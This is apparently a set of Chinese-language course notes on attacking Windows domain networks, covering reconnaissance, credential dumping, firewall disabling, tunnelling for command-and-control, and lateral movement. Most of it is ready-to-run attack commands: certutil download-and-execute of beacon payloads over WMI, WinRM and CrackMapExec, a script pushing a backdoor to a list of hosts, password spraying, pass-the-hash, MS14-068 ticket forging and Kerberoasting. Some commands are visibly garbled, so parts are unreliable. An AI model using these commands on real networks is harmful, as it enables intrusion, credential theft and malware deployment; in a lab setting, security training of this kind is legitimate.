--部分代码有误,仅供参考.
本文仅做技术交流与学习...
I'm a fan of xd
内网安全
目录
-自动化工具使用-CS 插件&Adfind&BloodHound
不 出 网 - 控 制 上 线 - C S - 反 向 连 接
不 出 网 - 控 制 上 线 - C S - S M B 隧 道
不 出 网 - 控 制 上 线 - C S -IC M P 隧 道
不 出 网 - 控 制 上 线 - C S - 关 闭 防 火 墙
利用票据连接:shell dir\lowa2010cn-god\c$
Linux到Linux&SSH协议&遗留RSA密匙&Jenkins安全
Ø 横向移动-Linux靶场-提权&SSH&密匙&Jenkins
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
信息搜集
-自动化工具使用-CS 插件&Adfind&BloodHound
-
cs插件
-
Adfind
-
Adfind
-
列出域控制器名称:
-
AdFind -sc dclist
-
查询当前域中在线的计算机:
-
AdFind -sc computers_active
-
查询当前域中在线的计算机(只显示名称和操作系统):
-
AdFind -sc computers_active name operatingSystem
-
查询当前域中所有计算机:
-
AdFind -f "objectcategqzy=computer"
-
查询当前域中所有计算机(只显示名称和操作系统):
-
AdFind -f "objectcategory=computer"name operatingSystem
-
查询域内所有用户:AdFind -users name
-
查询所有GPO:AdFind -sc gpodmp
-
-
BloodHound域分析使用
-
安装使用:http://cn-sec.com/archives/146548.htmlhttps://github.com/BloodHoundAD/BloodHound
-
1、启动nec4j neo4j.bat console
-
2、启动BloodHound BloodHound.exe
-
3、运行程序后将生成数据导入,筛选查看
-
关键信息类收集-密码&凭据&口令等
-
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
-
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
-
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win),CS 插件
-
GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security
-
GitHub - huntergregal/mimipenguin: A tool to dump the login password from the current linux user
-
XenArmor All-In-One Password Recovery Pro 2023 Software | XenArmor
-
1.站点源码备份文件、数据库备份文件等
-
2.各类数据库Web管理入口,如pHPMyAdmin
-
3.浏览器保存密码、浏览器cookies
-
4.其他用户会话、3389和ipc$连接记录、回收站内容
-
5.Windows保存的WIFI密码
-
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA等
架构信息类收集-网络&用户&域控等
-
net view /domain 查询域列表
-
net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦
-
用来判 断主域,主域一般用做时间服务器
-
net localgroup administrators 本机管理员【通常含有域用户】
-
net user /domain 查询域用户(当前域)
-
net group /domain 查询域工作组
-
net group "domain computers" /domain 查看加入域的所有计算机名
-
net group "domain admins" /domain 查询域管理员用户组和域管用户
-
net localgroup administrators /domain 查看域管理员
-
net group "domain controllers" /domain 查看域控
-
net accounts /domain 查看域密码策略
常规信息类收集-应用&服务&权限等
-
systeminfo 详细信息
-
netstat -ano 端口列表
-
route print 路由表
-
net start 启动服务
-
tasklist 进程列表
-
schtasks 计划任务
-
ipconfig /all 判断存在域
-
net view /domain 判断存在域
-
net time /domain 判断主域
-
netstat -ano 当前网络端口开放
-
nslookup 域名 追踪来源地址
-
wmic service list brief 查询本机服务
-
net config workstation 查询当前登录域及登录用户信息
-
wmic startup get command,caption 查看已启动的程序信息
机器角色-个人 PC&文件服务器&邮件服务器等
-
--当前机器角色的判断 .
-
--当前机器网络环境判断
-
--当前机器角色功能判断
角色功能-任务&端口&服务&密码&漏洞&配置等
基本认知
域产生原因
一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要 对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用; 因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电 脑,并且在安装的时候设置惯用、甚至统一的密码。
因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员 的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较 低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:
某个域用户需要使用 viso 软件进行绘图操作,于是联系网络管理员进行安装,网络管理 员采用域管理员身份登录了域成员主机,并帮助其安装了 viso 软件,于是这个有计算机 基础的员工,切换身份登录到了本地计算机的管理员,后执行 mimikatz,从内存当中抓 取了域管理员的密码,便成功的控制了整个域。
内网域的区别
网络环境-局域网&工作组&域环境
-局域网&工作组&域环境区别
如何判断在域内
-
net view /domain 判断存在域
-
net time /domain 判断主域
-
net user /domain 查询域用户(当前域)
-
net user 自己电脑的用户
-
whoami
-
ipconfig /all
-
ping 域名 -->ip
域内常见信息收集
-
Linux主机信息搜集
-
windows主机信息搜集
域内自动化工具收集
域渗透的思路
通过域成员主机,定位出域控制器 IP 及域管理员账号,利用 域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性, 定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进 而拿下域控制器、渗透整个内网.
单机/域防火墙
单机-防火墙-限制端口出入站
熟悉常见主机配置不出网的方式 1、入站&出站&连接安全 2、域&专用&公网&状态 3、阻止&允许&其他配置
-
正反向连接
单机-防火墙-限制协议出入站
熟悉常见主机配置不出网的方式 1、程序&端口&预定义&自定义 2、协议&TCP&UDP&ICMP&L2TP 等
-
协议封装
域控-防火墙-组策略对象同步
熟悉常见主机配置不出网的操作流程 操作: 组策略管理-域-创建 GPO 链接-防火墙设置 更新策略:强制&命令&重启 命令:gpupdate/force
让域控去控制其他的主机的防火墙.(开关,策略) 域控更新 他们的策略...同步,下发委派...
域控-防火墙-组策略不出网上线
背景介绍:域控通过组策略设置防火墙规则同步后,域内用户主机被限制 TCP 出网,其 中规则为出站规则,安全研究者通过入站取得 SHELL 权限,需要对其进行上线控制。
思路:正向连接&隧道技术
如果是入站被限制呢?反向连接&隧道技术也可以解决(前提看限制的多不多) ICMP 协议项目: GitHub - esrrhs/spp: A simple and powerful proxy GitHub - bdamele/icmpsh: Simple reverse ICMP shell GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
代理技术
1、代理软件使用-Win&Linux
2、代理协议使用-Socks4/5
3、CS&MSF-网络通讯&控制上线
-
网络通讯-MSF&CS-路由添加&节点建立
-
控制上线-MSF&CS-协议生成&正反连接
随道技术
入站过滤上线: 1、隧道技术硬刚 (不管你的入站规则) 2、反向连接跳过 3、关闭&删除&替换 (权限(内网/域))
适用利用入站通行拿到的高权限
出站过滤上线: 1、隧道技术硬刚 2、正向连接跳过 3、关闭&删除&替换
适用利用入站通行拿到的高权限
采用第三种方案:防火墙开关,删除规则,替换程序 适用于: 1、单纯的内网环境 2、单纯的内网域环境(域控没有设置组策略防火墙同步
隧道技术上线: HTTP/S & DNS & SSH & ICMP & SMB & 协议穿透等 (出去SMB隧道技术,其它隧道技术大部分都是针对出站规则.)
知识点
-
1、入站规则不出网上线方案
-
2、出站规则不出网上线方案
-
3、规则-隧道技术-SMB&ICMP
不 出 网 - 控 制 上 线 - C S - 反 向 连 接
不 出 网 - 控 制 上 线 - C S - S M B 隧 道
不 出 网 - 控 制 上 线 - C S -IC M P 隧 道
不 出 网 - 控 制 上 线 - C S - 关 闭 防 火 墙
-
Windows 防火墙命令:
Windows 防火墙命令: https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles 关闭防火墙:netsh advfirewall set allprofiles state off 开启防火墙:netsh advfirewall set allprofiles state on 恢复初始防火墙设置:netsh advfirewall reset 启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用 blockinbound,blockoutbound
隧道技术-SMB协议-判断&通讯&上线
#SMB 隧道&通讯&上线
判断:445 通讯
上线:借助通讯后绑定上线
通讯:直接 SMB 协议通讯即可
隧道技术-ICMP协议-判断&通讯&上线
#ICMP 隧道&通讯&上线
判断:ping 命令
上线:见前面课程
通讯:其他项目(icmpsh icmptunnel) GitHub - esrrhs/spp: A simple and powerful proxy GitHub - bdamele/icmpsh: Simple reverse ICMP shell GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
隧道技术-DNS协议-判断&通讯&上线
#DNS 隧道&通讯&上线
判断: nslookup 域名 ---有回显证明有DNS dig --阿里云--域名--解析设置--记录类型为NS(2个)+1个A记录 IP地址绑定cs的 (NS记录负责解析域名)
1、上线环境:内网主机只出网 DNS 协议数据,解决上线 -域名申请及配置 -监听器创建及配置 -后门绑定监听器及生成
2、通讯环境: 内网主机只出网 DNS 协议数据,解决通讯 GitHub - yarrick/iodine: Official git repo for iodine dns tunnel (Linux支持,windows要下openvpn) 判断出网:nslookup www.baidu.com -服务器:设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向 iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD 设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向 -客户端:连接密码 xiaodi 并绑定域名指向 iodine -f -M 200 -P xiaodi ns1.xiaodi8.com -尝试通讯尝试连接: ssh [email protected]
--两边同时建立一个网卡--隧道进行通信(2个网卡是单独一个网络)
隧道技术-SSH协议-判断&通讯&上线
#SSH 隧道&通讯
判断:ssh 连接 1、上线: 由于 CS 无 SSH 协议监听器配置,无法上线 2、通讯: 由于sSH协议存在于Linux系统,跳板机必须Linux iptables -F /清除所有规则/ iptables -A INPUT-ptcp--dport22-jACCEPT/允许包从22端口进入/ iptables -A OUTPUT -p tcp--sport 22 -m state --state ESTABLISHEDjACCEPT/允许从22端口进入的包返回/ iptables -A oUTPUT-pudp--dport 53-jACCEPT/+域名解析端口,一般不开/ iptables -A INPUT-pudp--sport53-jACCEPT/域名解析端口,一般不开/ iptab1es -A INPUT-3127.0.0.1-d127.0.0.1-jACCEPT/允许本机访问本机/ iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPTiptables-AINPUT-ptcp-30/0--dport80-jACCEPT/允许所有IP访问80端口/ iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT iptables-save>/etc/sy3config/iptables/→保存配置+/ iptables-L /*显示iptables列表
开启ssh协议登录: vi/etc/ssh/sshd_config PermitRootLogin yes PasswordAuthentication yes /etc/init.d/ssh start /etc/init.d/ssh restart 本地:出站封 ssh -CfNg -L 1122:192.168.1.15:8080 [email protected] curlhttp://127.0.0.1:1122
远程:入站封(反向) ssh -CfNg -R 1234:192.168.1.15:8080 [email protected] (将本地访问的1.15:8080的流量发送到root的1234上) curl http://127.0.0.1:1234
作用:内网探针
控制上线-插件-Linux&Mac&IOS&Android
#控制上线-插件-Linux&Mac&IOS&Android GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload (下服务端的就行) 面向LinuxMacIoSAndroid系统上线支持 1、插件使用 2、命令使用 使用参考: 简介 · GitBook
目前 1、下载对应版本加载器和CNA插件 2、上传加载器文件和本地加载CNA插件 3、修改cNA插件配置路径及上传Key文件 4、使用命令或插件绑定HTTPS监听器生成
--上传genCrossC2.Linux到cs的服务端--加载插件 创建监听器https--->反向上线 (服务端要有那个key文件)
(内网穿透)--隧道搭建&穿透上线
内网穿透-Ngrok-入门-上线
内网穿透-Frp-简易型-上线
内网穿透-Nps-自定义-上线
内网穿透-Spp-特殊协议-上线
横向移动
横向移动系列点:
系统点:
windows->windows windows->Linux linux->windows linux->linux
详细点:
IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,
SSH;Exchange,LLMNR 投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,
域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR 定向下发执行等。
域信息收集-目标&用户&凭据&网络
IPC
补充: IPC 是专用管道,可以实现对远程计算机的访问, 需要使用目标系统用户的账号密码,使用 139、445 端口。
-
建立 IPC 链接到目标主机
-
拷贝要执行的命令脚本到目标主机
-
查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
-
删除 IPC 链接 net use \server\ipc$ "password" /user:username # 工作组 net use \server\ipc$ "password" /user:domain\username #域内 dir \xx.xx.xx.xx\C$\ # 查看文件列表
(2)对方没有打开IPCs共享 (3)对方未开启139、445端口,或者被防火墙屏蔽 (4)输出命令、账号密码有错误
-
-命令版-at&schtasks
1、at < Windows2012 net use \192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接. 上传木马到已控的目录--> copy beacon.exe \192.168.3.21\c$ #拷贝执行文件到目标机器. at \192.168.3.21 15:47 c:\beacon.exe #添加计划任务
正向:connect IP 端口 反向:转发上线
2、schtasks >=Windows2012 net use \192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad ministrator # 建立 ipc 连接: copy beacon.exe \192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创 beacon 任务对应执行文件 schtasks /run /s 192.168.3.32 /tn beacon /i #运行 beacon 任务 schtasks /delete /s 192.168.3.21 /tn beacon /f#删除 beacon 任务
-
插件版-CS&LSTARS
-
套件版-Impacket-atexec
impacket-atexec 该工具是一个半交互的工具,适用于webshel1下,Socke代理下; 在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试 1、Py版:GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols. python atexec.py god/administrator:[email protected] "ver" python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
2、Exe版:RichChigga/impacket-examples-windows cs本地用户明文连接: shell atexec.exe ./administrator:[email protected] "whoami" cs域内用户明文连接: shell atexec.exe god/administrator:[email protected] "ver"
shell atexec.exe god/administrator:[email protected] "下载执行命令" 执行
-
代理版-Socks&Py&atexec
WMI
-
自带&命令&套件&插件
#域横向移动-WMI-自带&命令&套件&插件 WMI 是通过 135 端口进行利用,支持用户名 明文 或者 hash 的方式进行认证, 并且该方法不会在目标日志系统留下痕迹。
1.wmic 内部:(单执行) 没回显(系统自带的) wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"
2.cscript 内置:(交互式) 上传 wmiexec.vbs cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345 ---无法反弹到cs.需要反弹shell再执行.
(exe上传太大了,)cs上传时报错. 建立节点:proxifier开启来,建立cs的服务端的IP,当服务某网段时就走.... 上传后门,相同网段的访问下载.运行.(反向连接)
3.wmiexec-impacket (上传/建立socket本地调用执行) 外部:(交互式&单执行) wmiexec ./administrator:admin!@#[email protected] "whoami" wmiexec - hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]. 3.32 "whoami"
下载后门: wmiexec ./administrator:admin!@#[email protected] "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行后门: wmiexec ./administrator:admin!@#[email protected] "cmd.exe /c c:/beacon.exe"
wmiexec ./administrator:admin!@#[email protected] "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe"
SMB
-
自带&命令&套件&插件
#域横向移动-SMB-自带&命令&套件&插件 利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
1.psexec 内部:(交互式 windows 官方工具) psexec64 \192.168.3.32 -u administrator -p admin!@#45 -s cmd (cs上传--调用--)
外部:(交互式 外人开发的工具) psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
插件: cs-psexec &64 --本地登录能上线,域的不行(因为域的账号密码时不对的)(把域去掉)
2.smbexec-impacket(套件) 外部: (交互式) smbexec ./administrator:admin!@#[email protected] smbexec god/administrator:admin!@#[email protected] smbexec -hashes:518b98ad4178a53695dc997aa02d455c./[email protected] smbexec -hashes:518b98ad4178a53695dc997aa02d455cgod/[email protected] -hashes god/administrator:[email protected]
(用GOD登录就不行,本地就行) ipconfig
3.services 内置: (单执行) services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name she11 -display shellexec -path C:\Windows\System32\shell.exe services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
工具
-
Proxychains&CrackMapExec
#域横向移动-工具-Proxychains&CrackMapExec 1、Windows+Proxifier+Python_exp
import os ips=['192.168.3.21','192.168.3.25','192.168.3.29','192.168.3.28','192.168.3.30','192.168.3.32'] def down(): for ip in ips: wmi_exec='D:\Myproject\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'%ip print(wmi_exec) os.system(wmi_exec) def zx(): for ip in ips: wmi_exec='D:\Myproject\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\wmiexec.py ./administrator:admin!@#45@%s "c:/4455.exe"'%ip print(wmi_exec) os.system(wmi_exec) if name == 'main': down() zx() --运行完,上线了域控,再抓取明文密码. --再利用新密码再运行.
2、Linux+Proxychains+CrackMapExec CrackMapExec Github: https://github.com/Porchetta-Induotries/CrackMapExec GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks
官方手册:https://mpgn.gitbookIio/crackmapexec/ 部分案例:CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户 下载对应release,建立socks连接,设置socks代理,配置规则,调用!
工具放,Linux代理 : Linux Proxychains使用 安装使用: proxychains 安装和proxychains 代理nmap-CSDN博客 代理配置:Proxychains.conf 代理调用:Proxychains 命令
配置文件: cat /etc/proxychains.conf vim sockets4 本地 端口 --端口改一下,本地是因为cs服务端也在服务器上. proxychains python cme --客户端 proxychains python cme smb IP --通讯检测
密码喷射 域登录:(随着渗透,改密码) proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45'
密码喷射 本地登录: proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
密码喷射本地登录命令执行: proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth
密码喷射本地登录命令执行上线: proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45'-x 'cmd.exe /c certutill -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe --local-auth
创建一个u.txt --里面写上取得的用户 创建p.txt --写取得的密码 创建i.txt --写IP
proxychains python cme smb 192.168.3.21-32 -u u.txt -p p.txt --比对账号密码
密码喷射本地&域登录命令执行全自动上线: proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
proxychains python cme smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe --local-auth
PTH
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击,
总结:KB2871997 补丁后的影响 pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接 ptk:打了补丁才能用户都可以连接,采用 aes256 连接 KB22871997是否真的能防御PTH攻击? - FreeBuf网络安全行业门户
-
PTH-Proxychains&CrackMapExec
域横向移动-PTH-Proxychains&CrackMapExec CrackMapExec Github:GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks 官方手册:https://mpgn.gitbook.io/crackmapexec/ 部分案例:CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户 下载对应release,建立socks连接,设置socks代理,配置规则,调用! 1、Linux Proxychains使用 代理配置:Proxychains.conf 代理调用:Proxychains命令 2、密码喷射-域用户登录PTH: proxychains python cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录 proxychains python cme smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --1ocal-auth #本地用户HAsH登录
--域内账号密码直接梭哈,比对,
-
-Mimikatz&NTLM
#域横向移动-PTH-Mimikatz&NTLM PTH = Pass The Hash,通过密码散列值 (通常是 NTLM Hash)来进行攻击。 在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方 法登录到内网主机的其他计算机。另外注意在 Window Server 2012 R2 之前使用到的 密码散列值是 LM、NTLM,在 2012 R2 及其版本之后使用到的密码散列值是 NTLM Hash。
--信息搜集,抓取密码,端口,用户... LM/NTLM 建立连接,copy后门,创建服务,绑定后门,启动服务,启动exe. 1、Mimikatz mimikatz privilege::debug mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c --出现黑窗窗 net use \192.168.3.32\c$ copy beacon.exe \192.168.3.32\c$ sc \sqlserver create bshell binpath= "c:\4.exe" sc \sqlserver start bshell
proxifiler建立节点 找到突破点(Web服务,有无网),上传马子,下载.执行(&) 2、impacket-at&ps&wmi&smb psexec -hashes :NTLM 值 域名/域用户@域内 ip 地址 smbexec -hashes :NTLM 值 域名/域用户@域内 ip 地址 wmiexec -hashes :NTLM 值 域名/域用户@域内 ip 地址 D:\Myproject\venv\Scripts\python.exe psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] D:\Myproject\venv\Scripts\python.exe smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] D:\Myproject\venv\Scripts\python.exe wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
PTK
-
Mimikatz&AES256
#域横向移动-PTK-Mimikatz & AES256 前提: PrK=Pa3sTheKey,当系统 安装了KB2871997补丁 且 禁用了NTLM 的时候,那我们抓取到的ntlmhash也就失去了作用,但是可以通过pTk的攻击方式获得权限。 (不支持hash,必须禁用才能用它.) mimikatz sekurlsa::ekeys mimikatzBekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
PTT
-
漏洞&Kekeo&Ticket
域横向移动-PTT-漏洞sKekeo&Ticket https://github.com/abatchy17/WindowsExploits/tree/master/Ms14-068 Releases · gentilkiwi/kekeo · GitHub
--明文密码,直接攻击域控 1、漏洞-MS14068(webadmin权限)MS14-068是密钥分发中心(kDc)服务中的windows漏洞。--利用漏洞生成的用户的新身份的票据(补丁) 它允许经过身份验证的用户在其kerberos票证(TGT)中插入任意PAC。 该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDc)中。 用户可以通过呈现具有改变的PAc的Kerbero3TGT来获得票证. shell whoami/user 获取用户SID值. 生成票据文件: shell ms14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1132-d192.168.3.21-Padmin!@#45 用户名,密码 清除票据连接: shell klist shell klist purge 上传票据-->内存导入票据: mimikatz kerberos::ptc [email protected]ache 连接目标上线: shell dir \OWA2010CN-GOD\c$ 计算机名 shell net use \OWA2010CN-GOD\C$ copy beacon.exe \oWA2010cN-GOD\c$ sc \oWA2010cN-GOD create bindshell binpath= "c:\beacon.exe" sc \oWA2010cN-GOD start bindshell (要运行exe,上传/代理运行) --票据有有效期
(伪造一个用户,提高用户权限)
kekeo.exe 只是生成票据的工具,不能伪造提权.
2、kekeo(高权限,需NTLM)--利用获取的NTLM生成新的票据尝试认证. (NTLM生成hash值的准确性) 因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。
生成票据文件: shell kekeo "tgt::ask/user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7""exit" 导入票据: shell kekeo "kerberos::ptt [email protected]_krbtgt~[email protected]""exit" 查看: shell klist 利用连接: shell dir\owa2010cn-god\c$
(默认10个小时...)
3、mimikatz(高权限,需Ticket)--利用历史遗留的票据尝试认证.(看当前主机有没有被目标登录过(域管理员),建没建立过连接) mimikatz sekurlsa::tickets /export mimikatz kerberos::ptt C:\Users\webadmin\Desktop[0;22d3a]-[email protected] shell klist
利用票据连接:shell dir\lowa2010cn-god\c$
RDP
-
明文&NTLM
RDP 3389 远程终端 支持明文/hash 传输
cs上线--提权 端口扫描,探针
VNC桌面交互?? 太高危
1-直接连接 2-建立节点(右键sockets代理) proxifiler 3-端口转发
#域横向移动-RDP-明文&NTLM 远程桌面服务 支持明文及 HASH 连接 条件:对方开启 RDP 服务 远程桌面 1.探针服务: cs 内置端口扫描 3389 tasklist /svc | find "TermService" # 找到对应服务进程的 PID netstat -ano | find "PID 值" # 找到进程对应的端口号 2.探针连接: CrackMapExec&MSF 批扫用户名密码验证 3.连接执行: 明文连接: mstsc /console /v:192.168.3.32 /admin HASH 连接: mimikatz privilege::debug mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32/ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc/restrictedadmin"
WinRM&WinRS
-
明文&NTLM
5985 Windows 2008 以上版本默认自动状态,Windows Vista/win7 上必须手动启动; Windows 2012 之后的版本默认允许远程任意主机来管理。
--借助PM服务,RS命令. 一般常规的协议端口都开,(防火墙)
域横向移动-WinRM&WinRS-明文&NTLM WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。 默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。 移动条件:双方都启用的 Winrm rs 的服务! 使用此服务需要管理员级别凭据。 Windows 2008 以上版本默认自动状态,Windows Vista/win7 上必须手动启动; Windows 2012 之后的版本默认允许远程任意主机来管理。
攻击机开启: winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} 1.探针可用: cs 内置端口扫描 5985. powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} 2.连接执行: winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami 3.上线 CS&MSF: winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe beacon.exe & beacon.exe" 4.CS 内置移动
Spn&Kerberos
-
请求&破解&重写
spn是探针技术,信息搜集 Kerberos攻击.加密协议的利用. -本地安全策略里面:(没有明文密码和hash值)的攻击思路. rc4可破解 AES--GG #域横向移动-Spn&Kerberos-请求&破解&重写 Kerberoasting攻击的利用: ·SPN服务发现 ·请求服务票据 ·服务票据的导出 ·服务票据的暴力破解
#域横向移动-Spn&Kerberos-请求&破解&重写 Kerberoasting攻击的利用: ·SPN服务发现 ·请求服务票据 ·服务票据的导出 ·服务票据的暴力破解
GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog. GitHub - nidem/kerberoast 技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户 如需利用需要配置策略加密方式(对比) 黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。 DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。 请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTL密码哈希用于加密服务票证。 黑客将收到的rGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。 如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTL哈希值就将用于创建服务票证。 1.扫描: powershell setspn -T 0day.org -q /
shell setspn -T god.org -q / setspn -T god.org -q / 计算机的域内服务,在域内扮演的角色.
powershell setspn -T Oday.org -q / | findstr "MSSQL" shell setspn -T Oday.org -q / | findstr "MSSQL"
2.检测:(工具检测) Rubeus kerberoast --判断kerberoast能攻击的地方. klist
3.请求:(手工)--要产生票据文件. powershell Add-Type -AssemblyName System.IdentityModel
powershell New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityTokenArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
mimikatz kerberos::ask /target:MssQLSvc/SqlServer.god.org:1433
4.导出票据: kerberos::list mimikatz kerberos::list /export 5.破解: --字典.-->得到明文. python tgsrepcrack.py pass.txt "1-40a0oo00-jack@MssQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi" --然后账号密码进行横向移动等等.
内 网 服 务 - E x c h a n g e
#域横向移动-内网服务-Exchange 探针 1、端口扫描 (cs上线) exchange 会对外暴露接口如 OWA,ECP 等,会暴露在 80 端口,而且 25/587/2525 等 端口上会有 SMTP 服务,所以可以通过一些端口特征来定位 exchange。 2、SPN 扫描 powershell setspn -T 0day.org -q / 3、脚本探针 python Exchange_GetVersion_MatchVul.py xx.xx.xx.xx (获取exchange版本,匹配漏洞)
规划和部署 Exchange Server | Microsoft Learn
#域横向移动-内网服务-Exchange 爆破 1、Burp+Proxifier 2、项目 GitHub - grayddq/EBurst: 这个脚本主要提供对Exchange邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。 GitHub - lazaars/MailSniper: MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an administrator to search the mailboxes of every user in a domain. --账号密码(内网中成功几率大呀) 账号-- 域\用户名 net user
密码-- 爆破
版本? 看源代码
